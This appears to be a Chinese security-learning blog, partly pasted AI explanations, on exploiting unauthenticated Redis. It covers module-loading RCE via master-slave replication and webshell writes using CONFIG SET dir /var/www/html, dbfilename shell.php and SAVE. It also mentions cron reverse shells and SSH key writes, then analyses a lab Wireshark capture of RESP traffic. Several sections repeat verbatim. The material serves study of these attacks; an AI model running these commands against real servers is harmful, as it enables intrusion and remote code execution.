RedisModule_CreateCommand(ctx, "panda.hello", HelloCommand, "write fast", 1, 1, 1);
RedisModule_CreateCommand(ctx, "panda.rand", SimpleRandCommand, "readonly", 1, 1, 1);

注册成功后即可在 Redis 中调用:

127.0.0.1:6379> panda.hello
127.0.0.1:6379> panda.rand
127.0.0.1:6379> panda.time

3️⃣ 安全评估 当前模块功能安全无害:

  • panda.hello:输出字符画
  • panda.rand:生成随机数
  • panda.time:返回当前时间戳

⚠️ 安全警告: 若模块包含 system()execve() 或文件操作函数,则可能造成 RCE(远程代码执行)风险。

🔑 核心要点

  • C 文件:人类可读的源代码
  • .so 文件:机器可执行的编译结果
  • 模块命令功能完全取决于源码实现

💡 编译流程示意图:

C源代码 → 编译器 → .so 动态库 → Redis 加载执行

一句话核心回答

未授权 ≠ 一定能直接加载 .so 文件

主从复制的作用是:

👉 把攻击者的 .so 文件“送到”目标机器上

而不是单纯为了执行命令。


为什么在未授权的情况下还需要主从复制?

当前的疑问可能是:

既然已经有未授权访问,直接执行 MODULE LOAD /tmp/evil.so 不就可以了吗?

关键在于:

❗ Redis 只能加载"目标服务器上已存在"的 .so 文件

执行 MODULE LOAD /tmp/evil.so 的前提是:

目标服务器的 /tmp 目录下必须已经存在 evil.so 文件

但实际情况往往是:

  • 你只有 Redis 的未授权访问权限
  • 没有 SSH 等其它访问途径
  • 无法直接上传文件到目标服务器

那么问题来了:.so 文件从哪里获取?

主从复制解决的核心问题: 主从复制的真正作用不是"执行命令",而是:

📦 将恶意 .so 文件传输到目标服务器

攻击流程的本质是:

  1. 在自己的服务器上准备好恶意 .so 文件
  2. 伪装成"主节点"
  3. 让目标 Redis 成为你的从节点

Redis 在进行数据同步时:

会自动将你准备好的 .so 文件同步到目标服务器 文件会被写入目标服务器的磁盘

这时你才能执行:

MODULE LOAD /路径/恶意.so

💥 真正的 RCE 攻击才得以实现

为什么在未授权的情况下还需要主从复制?

当前的疑问可能是:

既然已经有未授权访问,直接执行 MODULE LOAD /tmp/evil.so 不就可以了吗?

关键在于:

❗ Redis 只能加载"目标服务器上已存在"的 .so 文件

执行 MODULE LOAD /tmp/evil.so 的前提是:

目标服务器的 /tmp 目录下必须已经存在 evil.so 文件

但实际情况往往是:

  • 你只有 Redis 的未授权访问权限
  • 没有 SSH 等其它访问途径
  • 无法直接上传文件到目标服务器

那么问题来了:.so 文件从哪里获取?

主从复制解决的核心问题: 主从复制的真正作用不是"执行命令",而是:

📦 将恶意 .so 文件传输到目标服务器

攻击流程的本质是:

  1. 在自己的服务器上准备好恶意 .so 文件
  2. 伪装成"主节点"
  3. 让目标 Redis 成为你的从节点

Redis 在进行数据同步时:

会自动将你准备好的 .so 文件同步到目标服务器 文件会被写入目标服务器的磁盘

这时你才能执行:

MODULE LOAD /路径/恶意.so

💥 真正的 RCE 攻击才得以实现

1️⃣ 为什么无法随意生成可用的 .so 文件?

Redis 未授权访问时常见的利用方式是:

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php ... ?>"
SAVE

这种操作被称为"写 WebShell"。

为什么这种方式能成功?

原因在于:

  • RDB 文件本质是二进制文件
  • 文件头部可以插入任意字符串
  • PHP 解释器对文件格式非常宽容
  • 只要包含 <?php 标签就能正常执行

但 .so 文件则完全不同:

  • .so 是 ELF 格式的二进制文件
  • 具有严格的文件头结构
  • 包含段表、符号表等必要信息
  • 需要准确的重定位信息

任何细微的错误(哪怕多一个字节)都会导致:

  • dlopen() 直接加载失败

Redis 写入文件时的限制:

  • 强制使用 RDB 格式存储
  • 自动添加文件头
  • 包含校验信息
  • 无法精确控制字节布局

因此无法通过以下方式生成有效的 .so 文件:

SET xxx <完整ELF二进制>
SAVE

1️⃣ 为什么无法随意生成可用的 .so 文件?

Redis 未授权访问时常见的利用方式是:

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php ... ?>"
SAVE

这种操作被称为"写 WebShell"。

为什么这种方式能成功?

原因在于:

  • RDB 文件本质是二进制文件
  • 文件头部可以插入任意字符串
  • PHP 解释器对文件格式非常宽容
  • 只要包含 <?php 标签就能正常执行

但 .so 文件则完全不同:

  • .so 是 ELF 格式的二进制文件
  • 具有严格的文件头结构
  • 包含段表、符号表等必要信息
  • 需要准确的重定位信息

任何细微的错误(哪怕多一个字节)都会导致:

  • dlopen() 直接加载失败

Redis 写入文件时的限制:

  • 强制使用 RDB 格式存储
  • 自动添加文件头
  • 包含校验信息
  • 无法精确控制字节布局

因此无法通过以下方式生成有效的 .so 文件:

SET xxx <完整ELF二进制>
SAVE

对,你之前看到的 Java 反序列化里的 .so 也有类似概念,但底层原理不太一样。我们仔细梳理一下 .so 到底是啥,以及它为什么能执行命令。

1️⃣ .so 的本质

.soShared Object(共享库),也就是 Linux/Unix 下的动态链接库。

  • 类似 Windows 的 .dll

  • 本质就是 一段可执行机器码 + 数据 + 符号表

  • 可以在运行时被动态加载(dlopen()

  • 可以导出函数供别的程序调用

也就是说:

它本身就是二进制程序,不是文本,也不是脚本,它就是编译好的 C/C++ 机器指令。


2️⃣ .so 文件和 C 代码的关系

你写的 C 代码:

int HelloCommand(...) {
printf("Hello\n");
return 0;
}

  • gcc -fPIC -shared -o panda.so module.c

  • 编译后生成 panda.so

  • .so 里包含的就是 CPU 可执行指令

  • Redis 通过 MODULE LOAD panda.so 调用 .so 里的 RedisModule_OnLoad() 函数

所以:

.so = C 代码编译后的二进制,可以在运行时被加载并执行。


3️⃣ .so 能做什么?

理论上,C 代码能做的事,.so 都能做,包括:

  • 执行 shell 命令:system("/bin/sh")

  • 读写文件:fopen(), write()

  • 网络请求:socket(), connect()

  • 操作内存:任意指针访问

所以攻击链里:

  1. 先写出 .so(主从复制或其他方法)

  2. MODULE LOAD → 调用 .so

  3. .so 里可以直接执行命令或打开反弹 shell

就是 RCE 的实现点


4️⃣ 和 Java 反序列化的类比

Java 反序列化漏洞里,有些 payload 会触发:

  • 加载本地 .so 文件(JNI)

  • 或者写入本地动态库

  • 调用 Runtime.exec() 或者本地函数

本质是一样的:利用动态可执行代码的加载机制,执行攻击者的机器码。

区别在于:

Java 反序列化 Redis .so
JVM 解析对象流 Redis 动态模块接口
可触发本地代码(JNI) 直接就是本地 CPU 指令
需要绕过安全管理器 需要 MODULE LOAD 权限

💡 总结一句话:

.so 就是 Linux 下的动态库,它本身就是机器码,C 代码只是源文件,编译成 .so 后加载就可以执行任意系统命令。

大概懂了,既然可以把c代码编译成.so后动态执行,那c代码可以执行什么,我就能控制它做什么,所以命令执行都是可以的

到这里终于把redis未授权搞完了,接下来是ssrf配合redis未授权。

先总结一下吧。redis未授权相当于任意路径写,然后利用就是写计划任务反弹shell,写ssh公钥免密登录,写webshell。

你的坑

  • Kali/Debian 路径不同/var/spool/cron/crontabs/root 而不是 /var/spool/cron/root

  • 权限问题:Redis 不是 root 启动,写不了 cron 目录

  • 格式损坏:RDB 文件头会污染 cron 文件,必须用 \n\n 换行让 cron 从有效行开始解析

算了,本文章只是记录。以后复现记得看别人的环境,尽量不要下最新版。

redis 未授权也可以通过其他方式泄露密码或者爆破弱密码。

然后是了解ssrf配合redis未授权

这篇讲了resp

SSRF漏洞之Redis利用篇【三】 - FreeBuf网络安全行业门户

一、什么是 RESP 协议? RESP(Redis Serialization Protocol)是 Redis 专用的通信协议,用于客户端与服务器之间的数据传输。

当使用 redis-cli 执行命令时:

set a 1

实际传输的是经过 RESP 编码的格式,而非原始字符串。

二、RESP 协议格式详解 RESP 采用以下标准格式:

*参数数量
$参数长度
参数内容

以命令 SET 1 123 为例,其 RESP 编码为:

*3
$3
set
$1
1
$3
123

格式解析:

标记 含义
*3 表示包含3个参数
$3 第一个参数长度为3字节
set 参数内容
$1 第二个参数长度为1字节
1 参数内容
$3 第三个参数长度为3字节
123 参数内容

三、Payload 解析 分析首段内容:

*1
$8
flushall

这表示执行 flushall 命令,用于清空当前数据库所有数据。

一、什么是 RESP 协议? RESP(Redis Serialization Protocol)是 Redis 专用的通信协议,用于客户端与服务器之间的数据传输。

当使用 redis-cli 执行命令时:

set a 1

实际传输的是经过 RESP 编码的格式,而非原始字符串。

二、RESP 协议格式详解 RESP 采用以下标准格式:

*参数数量
$参数长度
参数内容

以命令 SET 1 123 为例,其 RESP 编码为:

*3
$3
set
$1
1
$3
123

格式解析:

标记 含义
*3 表示包含3个参数
$3 第一个参数长度为3字节
set 参数内容
$1 第二个参数长度为1字节
1 参数内容
$3 第三个参数长度为3字节
123 参数内容

三、Payload 解析 分析首段内容:

*1
$8
flushall

这表示执行 flushall 命令,用于清空当前数据库所有数据。

客户端与服务器之间的数据传输可能说的有点抽象,可以简单理解

背景知识:网络通信的本质

计算机之间通信就像两个人打电话,必须约定好"怎么说"才能互相理解:

类比 解释
人类语言 中文、英文(双方要统一)
网络协议 TCP/IP 负责"连上",应用层协议负责"说什么"
Redis的协议 RESP(专门定义Redis客户端和服务端如何对话)

关键点:Redis服务端一直在监听端口(默认6379),但它不知道来者是谁、要干什么。RESP就是双方约定的"暗号"格式。

然后你用redis-cli工具使用

假设你执行了:CONFIG GET dbfilename

实际传输的字节流

*3\r\n        ← 数组,3个元素(*开头)
$6\r\n        ← 第1个元素长度6($开头)
CONFIG\r\n    ← 内容:CONFIG
$3\r\n        ← 第2个元素长度3
GET\r\n       ← 内容:GET  
$10\r\n       ← 第3个元素长度10
dbfilename\r\n ← 内容:dbfilename

完全正确!*3\r\n 只是 TCP数据包里的"货物"(payload),不是TCP数据包本身。


一、形象比喻

TCP数据包 = 快递包裹
┌─────────────────────────────┐
│  快递单(TCP头部)            │  ← 20-60字节,记录收发地址、序列号等
│  - 发件人:192.168.1.100:45678 │
│  - 收件人:192.168.1.200:6379  │
│  - 包裹序号:第5个             │
│  - 是否保价:是(Checksum)    │
├─────────────────────────────┤
│  商品(TCP Payload/负载)      │  ← 这才是 *3\r\n$6\r\nCONFIG...
│  *3\r\n$6\r\nCONFIG\r\n...   │     长度可变,几十到几千字节
└─────────────────────────────┘

只执行了config get dir,然后刷了这么多

1. 第三条报文是什么?

先看第三条的关键信息:

  • Source: 192.168.176.135(Redis 服务器)
  • Destination: 192.168.176.128(你的客户端)
  • Protocol: TCP
  • Info: 65568 → 6379 [ACK] Seq=35 Ack=44 Win=249 Len=0 ...

这是一条纯 TCP 确认报文(ACK),没有携带任何应用层数据(Len=0)。

它的作用是:

  • 服务器(135)收到了客户端(128)之前发送的序列号为44的数据(也就是第 2 条 RESP 响应)。
  • 服务器通过这条 ACK 报文告诉客户端:“我已经收到你发的东西了,你可以继续发下一段数据了。”

2. 后面的 [TCP Keep-Alive] 是什么?

这些 Keep-Alive 报文,本质上也是 TCP 层的心跳包,用来确认连接是否还活着。

  • Keep-Alive ACK(从服务器到客户端):
    • 服务器定期发一个空包(Len=0),检查客户端是否还在线。
    • 客户端收到后,必须回一个 ACK 确认。
  • Keep-Alive ACK(从客户端到服务器):
    • 客户端也会定期发空包,检查服务器是否还在线。

在你的抓包里,这些 Keep-Alive 报文的特征是:

  • Len=0:没有携带任何数据。
  • SeqAck号基本不变:只是在确认 “连接还在”,而不是在传输新数据。

3. 为什么没传数据了还一直刷?

这是因为你的 Redis 客户端和服务器之间的 TCP 连接还没有断开,双方都启用了 TCP Keep-Alive 机制:

  1. 保持连接存活:Redis 客户端(比如redis-cli)默认会保持长连接,而不是用完就断。这样下次发命令时就不用重新建立连接,节省时间。
  2. 检测死连接:如果一方崩溃或网络中断,另一方不能无限期等待。Keep-Alive 机制就是用来定期 “ping” 一下,如果对方没回应,就会认为连接已死并主动断开。
  3. 你看到的现象:当你停止操作(没有新的 Redis 命令),应用层(RESP)就没有数据传输了。但 TCP 层为了维持这条长连接,会自动发送这些 Keep-Alive 心跳包,所以你会看到它们一直刷出来。

这是config get dir 的请求包

没错,Wireshark 的核心原理就是按照 OSI/网络分层模型逐层解析数据包。让我们分层来看:

数据链路层(Layer 2)

  • 解析要素:MAC 地址、帧类型、CRC 校验码
  • 示例:以太网帧包含源/目的 MAC 地址,以及标识上层协议的类型字段(如 IPv4、ARP)

网络层(Layer 3)

  • 解析要素:IP 地址、协议类型(IPv4/IPv6/ICMP)
  • 示例:IP 数据包包含源/目的 IP 地址、TTL 值,以及协议标识(TCP=6,UDP=17)

传输层(Layer 4)

  • 解析要素:端口号(TCP/UDP)及控制信息(如 TCP 的 SYN/ACK/FIN 标志)
  • 示例:TCP/UDP 段可识别应用协议类型(HTTP-80,DNS-53)

应用层(Layer 7)

  • 解析内容:实际业务数据
  • 示例:HTTP 请求方法、DNS 查询响应、SMTP 邮件内容等
  • 功能:Wireshark 可完整解析协议细节,包括报文头、响应体甚至文件片段

综上,Wireshark 的解析流程遵循分层模型: 帧 → 数据包 → 段 → 应用数据 (链路层 → 网络层 → 传输层 → 应用层)

算了,这次就把wireshark的数据包都看一遍吧

噢,数据链路层就是看mac地址,网络层可以看ip,传输层看端口,应用层才看数据

这还是config get dir的请求包

Frame 5: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface eth0, id 0
    Section number: 1
    Interface id: 0 (eth0)
        Interface name: eth0
    Encapsulation type: Ethernet (1)
    Arrival Time: Feb 26, 2026 14:47:37.098064469 CST
    UTC Arrival Time: Feb 26, 2026 06:47:37.098064469 UTC
    Epoch Arrival Time: 1772088457.098064469
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 2.545638788 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 2.659122071 seconds]
    Frame Number: 5
    Frame Length: 100 bytes (800 bits)
    Capture Length: 100 bytes (800 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp:resp]
    [Coloring Rule Name: TCP]
    [Coloring Rule String: tcp]
Ethernet II, Src: VMware_d2:0a:20 (00:0c:29:d2:0a:20), Dst: VMware_1c:20:ae (00:0c:29:1c:20:ae)
    Destination: VMware_1c:20:ae (00:0c:29:1c:20:ae)
        Address: VMware_1c:20:ae (00:0c:29:1c:20:ae)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
        Address: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 192.168.176.128, Dst: 192.168.176.135
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 86
    Identification: 0xc66a (50794)
    010. .... = Flags: 0x2, Don't fragment
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 64
    Protocol: TCP (6)
    Header Checksum: 0x91de [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 192.168.176.128
    Destination Address: 192.168.176.135
Transmission Control Protocol, Src Port: 54598, Dst Port: 6379, Seq: 1, Ack: 1, Len: 34
    Source Port: 54598
    Destination Port: 6379
    [Stream index: 0]
    [Conversation completeness: Incomplete (12)]
        ..0. .... = RST: Absent
        ...0 .... = FIN: Absent
        .... 1... = Data: Present
        .... .1.. = ACK: Present
        .... ..0. = SYN-ACK: Absent
        .... ...0 = SYN: Absent
        [Completeness Flags: ··DA··]
    [TCP Segment Len: 34]
    Sequence Number: 1    (relative sequence number)
    Sequence Number (raw): 372651116
    [Next Sequence Number: 35    (relative sequence number)]
    Acknowledgment Number: 1    (relative ack number)
    Acknowledgment number (raw): 367256931
    1000 .... = Header Length: 32 bytes (8)
    Flags: 0x018 (PSH, ACK)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Accurate ECN: Not set
        .... 0... .... = Congestion Window Reduced: Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...1 .... = Acknowledgment: Set
        .... .... 1... = Push: Set
        .... .... .0.. = Reset: Not set
        .... .... ..0. = Syn: Not set
        .... .... ...0 = Fin: Not set
        [TCP Flags: ·······AP···]
    Window: 249
    [Calculated window size: 249]
    [Window size scaling factor: -1 (unknown)]
    Checksum: 0xbdf2 [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - Timestamps: TSval 4263709925, TSecr 14817730
            Kind: Time Stamp Option (8)
            Length: 10
            Timestamp value: 4263709925
            Timestamp echo reply: 14817730
    [Timestamps]
        [Time since first frame in this TCP stream: 0.000000000 seconds]
        [Time since previous frame in this TCP stream: 0.000000000 seconds]
    [SEQ/ACK analysis]
        [Bytes in flight: 34]
        [Bytes sent since last PSH flag: 34]
    TCP payload (34 bytes)
REdis Serialization Protocol
    Array: Length 3
        Length: 3
        Bulk String: config
            Length: 6
            Value: 636f6e666967
        Bulk String: get
            Length: 3
            Value: 676574
        Bulk String: dir
            Length: 3
            Value: 646972

单看frame

Frame 5: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface eth0, id 0
    Section number: 1
    Interface id: 0 (eth0)
        Interface name: eth0
    Encapsulation type: Ethernet (1)
    Arrival Time: Feb 26, 2026 14:47:37.098064469 CST
    UTC Arrival Time: Feb 26, 2026 06:47:37.098064469 UTC
    Epoch Arrival Time: 1772088457.098064469
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 2.545638788 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 2.659122071 seconds]
    Frame Number: 5
    Frame Length: 100 bytes (800 bits)
    Capture Length: 100 bytes (800 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp:resp]
    [Coloring Rule Name: TCP]
    [Coloring Rule String: tcp]

Frame(帧)是 Wireshark 里最顶层的概念,它代表整个网络数据包本身,是所有分层数据的 “容器”。


1. Frame 到底是什么?

你可以把它理解为:

  • 这是整个数据包的 “总览”,包含了这个包在网络上传输时的所有信息。
  • 它不是 OSI 七层模型里的一层,而是 Wireshark 为了方便分析,对整个数据包的一个封装。

在你截图的 Frame 5 里,Wireshark 显示了:

Frame 5: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface eth0, id 0
  • 100 bytes on wire:这个包在网络上实际传输的总大小是 100 字节。
  • 100 bytes captured:Wireshark 抓到并保存的大小也是 100 字节(没有截断)。
  • interface eth0:抓包的网卡是 eth0。
  • id 0:这是本次抓包会话中的第 5 个数据包(编号从 0 开始)。

2. Frame 和各层的关系

Frame 是 “容器”,里面依次包含了各层的头部和数据:

Frame 5 (总容器)
├── Ethernet II (数据链路层头部)
├── IP (网络层头部)
├── TCP (传输层头部)
└── RESP (应用层数据)
  • 每一层都只关心自己的头部,然后把剩下的内容交给上一层处理。
  • Frame 则把这一切打包在一起,让你能看到整个数据包的全貌。

3. 为什么 Frame 很重要?

  • 定位问题:当你看到包的大小(bytes on wire)和预期不符时,可能是网络设备截断了数据包。
  • 时间戳:Frame 里还包含了包被捕获的精确时间,这对于分析时序问题(比如延迟、重传)至关重要。
  • 完整性:通过对比 “on wire” 和 “captured” 的大小,可以判断抓包是否完整。

简单总结一下:

  • Frame = 整个数据包的 “总览” 和 “容器”。
  • 下面的 Ethernet、IP、TCP、RESP 都是这个容器里的内容,按层次依次排列。

1️⃣ Frame 是啥?

Frame = 数据链路层的单位

  • 它是网卡在网络上发送或接收的完整数据包

  • 它包含了:

    1. 链路层头(MAC 地址等)

    2. 上层数据(IP 包 / TCP 段 / 应用数据)

    3. 帧尾(比如 CRC 校验)

简单比喻:Frame 就像 信封,里面装着信件(IP/TCP/应用数据)。

Wireshark 抓到的每一个数据包,都会给一个 Frame 编号:

Frame 5: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface eth0, id 0

  • Frame 5 → 这是 Wireshark 捕获的第 5 个数据包

  • 100 bytes on wire → 物理线上传输了 100 字节

  • 100 bytes captured → Wireshark 实际抓取的长度也是 100 字节(可能被截断或限制)

  • interface eth0 → 通过哪个网卡抓到的


2️⃣ 细分 Frame 信息字段

Section number: 1
Interface id: 0 (eth0)
Interface name: eth0
Encapsulation type: Ethernet (1)
Arrival Time: Feb 26, 2026 14:47:37.098064469 CST
UTC Arrival Time: Feb 26, 2026 06:47:37.098064469 UTC
Epoch Arrival Time: 1772088457.098064469
[Time delta from previous captured frame: 2.545638788 seconds]
[Protocols in frame: eth:ethertype:ip:tcp:resp]
[Coloring Rule Name: TCP]

字段 含义
Section number Wireshark 内部分片序号,通常不重要
Interface id / Interface name 这个包是在哪个网卡上抓到的
Encapsulation type 链路层协议类型,这里是 Ethernet II(以太网)
Arrival Time 捕获时间,CST / UTC / Epoch 都给了
Time delta from previous frame 跟上一个抓到的包间隔多少秒
Protocols in frame 包里涉及哪些协议层:ethethertypeiptcpresp(Redis)
Coloring Rule Wireshark 的显示颜色规则,这里标记 TCP

3️⃣ Frame 的核心作用

  • 表示一个完整的包,包含链路层到应用层的所有内容

  • Wireshark 就是从这个 Frame 开始,一层层解析:

    1. 链路层(Ethernet)

    2. 网络层(IP)

    3. 传输层(TCP/UDP)

    4. 应用层(Redis / HTTP / DNS 等)

🔹重点:Frame 不是应用数据,只是封装了这些数据的“外壳”,让网络设备能正确发送和接收。


💡 小结类比

  • Frame = 信封(谁寄给谁,大小多少)

  • IP 包 = 信纸(收件人地址,信件分段)

  • TCP 段 = 信的每页(顺序、确认信息)

  • 应用数据 = 信的正文(真正的命令/消息)

Ethernet II, Src: VMware_d2:0a:20 (00:0c:29:d2:0a:20), Dst: VMware_1c:20:ae (00:0c:29:1c:20:ae)
    Destination: VMware_1c:20:ae (00:0c:29:1c:20:ae)
        Address: VMware_1c:20:ae (00:0c:29:1c:20:ae)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
        Address: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)

1️⃣ Ethernet II 基本结构

一个典型的以太网帧包含:

字段 长度 作用
Destination MAC 6 字节 帧接收方的物理地址
Source MAC 6 字节 帧发送方的物理地址
Type 2 字节 上层协议类型(IPv4、IPv6、ARP 等)
Payload 46–1500 字节 传输的数据(IP 包 / TCP 段 / 应用数据)
FCS(CRC) 4 字节 帧校验码,用于检测错误

2️⃣ 你抓包里的信息

Destination: VMware_1c:20:ae (00:0c:29:1c:20:ae)
Source: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
Type: IPv4 (0x0800)

  • Destination MAC

    • 00:0c:29:1c:20:ae → 帧的接收方

    • Wireshark 还显示了 LG / IG 位

      • LG = 0 → 全球唯一地址(厂商分配)

      • IG = 0 → 单播地址(unicast,发给单个主机)

  • Source MAC

    • 00:0c:29:d2:0a:20 → 发送方

    • 同样是全球唯一、单播地址

  • Type

    • 0x0800 → 上层是 IPv4

    • 如果是 0x0806 → ARP;0x86DD → IPv6


3️⃣ 小结

在这一层:

  1. MAC 地址决定谁能收到帧

    • 只有目标 MAC 的网卡会处理这帧,其它主机忽略。

  2. Type 字段告诉网卡上层该如何解析 Payload

    • Wireshark 看到 0x0800 就把接下来的数据交给 IP 层解析。

🔹Tip:链路层是局域网内部通信的地址机制,你看不到应用命令,它只管“送到哪台机器”。

Internet Protocol Version 4, Src: 192.168.176.128, Dst: 192.168.176.135
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 86
    Identification: 0xc66a (50794)
    010. .... = Flags: 0x2, Don't fragment
        0... .... = Reserved bit: Not set
        .1.. .... = Don't fragment: Set
        ..0. .... = More fragments: Not set
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 64
    Protocol: TCP (6)
    Header Checksum: 0x91de [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 192.168.176.128
    Destination Address: 192.168.176.135

1️⃣ IPv4 版本与头长度

0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)

  • Version = 4 → IPv4 协议

  • Header Length = 5 × 4 bytes = 20 bytes → IP 头部长度(不含上层数据)

    • 如果有选项(Options),这个值会更大

IPv4 的头固定最小 20 bytes,最大 60 bytes。


2️⃣ 服务类型(DSCP / ECN)

Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)

  • DSCP (Differentiated Services Code Point) = 0 → 默认服务

  • ECN (Explicit Congestion Notification) = 0 → 不支持显式拥塞通知

主要用于路由器 QoS 或拥塞控制,普通抓包分析一般不常用。


3️⃣ 总长度

Total Length: 86

  • IPv4 总长度 = IP 头 + 上层数据(TCP/UDP payload)

  • 这里 86 bytes → IP 头 20 bytes + TCP 段 66 bytes(估算)


4️⃣ 标识符和分片信息

Identification: 0xc66a (50794)
010. .... = Flags: 0x2, Don't fragment
0... .... = Reserved bit: Not set
.1.. .... = Don't fragment: Set
..0. .... = More fragments: Not set
...0 0000 0000 0000 = Fragment Offset: 0

  • Identification → 50794,用于分片重组

  • Flags

    • Reserved bit = 0

    • Don't fragment (DF) = 1 → 不能分片

    • More fragments = 0 → 这是最后/唯一的片段

  • Fragment Offset = 0 → 当前片段的偏移量

⚡ 解释:如果包太大,路由器可能分片。DF=1 表示路由器不能分片,否则丢弃。Fragment Offset 说明这是第几个片段。


5️⃣ TTL(生存时间)

Time to Live: 64

  • 每经过一个路由器,TTL -1

  • TTL=0 时,包被丢弃,防止数据包在网络环路无限循环


6️⃣ 协议类型

Protocol: TCP (6)

  • 告诉 IP 层的 Payload 上层协议是什么

    • 6 = TCP

    • 17 = UDP

    • 1 = ICMP

TCP / UDP / ICMP 都是在 IP 之上的传输层协议。


7️⃣ 校验和

Header Checksum: 0x91de [validation disabled]

  • 用于检测 IP 头在传输中是否损坏

  • Wireshark 默认未校验(可能网卡硬件已校验)


8️⃣ 源地址 & 目标地址

Source Address: 192.168.176.128
Destination Address: 192.168.176.135

  • IP 层最关键字段 → 确定源主机和目的主机

  • 对应传输层(TCP/UDP)的端口,才能最终找到目标应用


✅ 小结

IPv4 层主要作用:

  1. 定位源和目标主机 → Src/Dst IP

  2. 控制生存周期 → TTL

  3. 指定上层协议 → TCP/UDP/ICMP

  4. 提供分片信息 → Identification / Flags / Fragment Offset

  5. 校验头完整性 → Header Checksum

⚡ 总结:IP 层就像“信封里的地址页”,Frame 决定哪台机器收到,IP 决定在那台机器内部把包送到哪个目标逻辑地址。

1️⃣ 原始数据 vs Wireshark 显示

你看到的:

0100 .... = Version: 4

  • 0100 ....IP 头的前 1 个字节(二进制)

    • IPv4 头第一个字节:高 4 位 = Version,低 4 位 = IHL (Internet Header Length)

  • 0100 → 高 4 位 0100 就是 Version = 4(IPv4)

  • 后面 .... → 低 4 位是 IHL,Wireshark 在这里单独分开显示下一行:

.... 0101 = Header Length: 20 bytes (5)

  • 0101 → 4 位二进制 = 5 → 乘以 4 bytes = 20 bytes IP 头长度

所以 真实的二进制就是 01000101(高 4 位 Version,低 4 位 IHL),Wireshark 把它拆开显示,方便理解。


2️⃣ Wireshark 显示格式

Wireshark 的做法是:

  1. 显示二进制字段(0100 0101)

  2. 标注每一部分的含义

    • 高 4 位 → Version

    • 低 4 位 → Header Length

  3. 给出人类可读解释 → Version: 4, Header Length: 20 bytes

所以你看到的:

0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)

  • 0100 → 原始二进制的高 4 位

  • .... → Wireshark 用占位符表示低 4 位,下一行解析

  • Version: 4 → Wireshark 的解读,不是原始数据本身


3️⃣ 真实二进制示例

如果你用 hexdump 或抓包原始文件:

45 00 00 56 ...

  • 45 → 8 位二进制 = 01000101

    • 高 4 位 0100 → Version 4

    • 低 4 位 0101 → IHL = 5 (20 bytes)

✅ 总结:Wireshark 的提示只是把真实二进制拆开解释了,0100 是真实数据的高 4 位

Transmission Control Protocol, Src Port: 54598, Dst Port: 6379, Seq: 1, Ack: 1, Len: 34
    Source Port: 54598
    Destination Port: 6379
    [Stream index: 0]
    [Conversation completeness: Incomplete (12)]
        ..0. .... = RST: Absent
        ...0 .... = FIN: Absent
        .... 1... = Data: Present
        .... .1.. = ACK: Present
        .... ..0. = SYN-ACK: Absent
        .... ...0 = SYN: Absent
        [Completeness Flags: ··DA··]
    [TCP Segment Len: 34]
    Sequence Number: 1    (relative sequence number)
    Sequence Number (raw): 372651116
    [Next Sequence Number: 35    (relative sequence number)]
    Acknowledgment Number: 1    (relative ack number)
    Acknowledgment number (raw): 367256931
    1000 .... = Header Length: 32 bytes (8)
    Flags: 0x018 (PSH, ACK)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Accurate ECN: Not set
        .... 0... .... = Congestion Window Reduced: Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...1 .... = Acknowledgment: Set
        .... .... 1... = Push: Set
        .... .... .0.. = Reset: Not set
        .... .... ..0. = Syn: Not set
        .... .... ...0 = Fin: Not set
        [TCP Flags: ·······AP···]
    Window: 249
    [Calculated window size: 249]
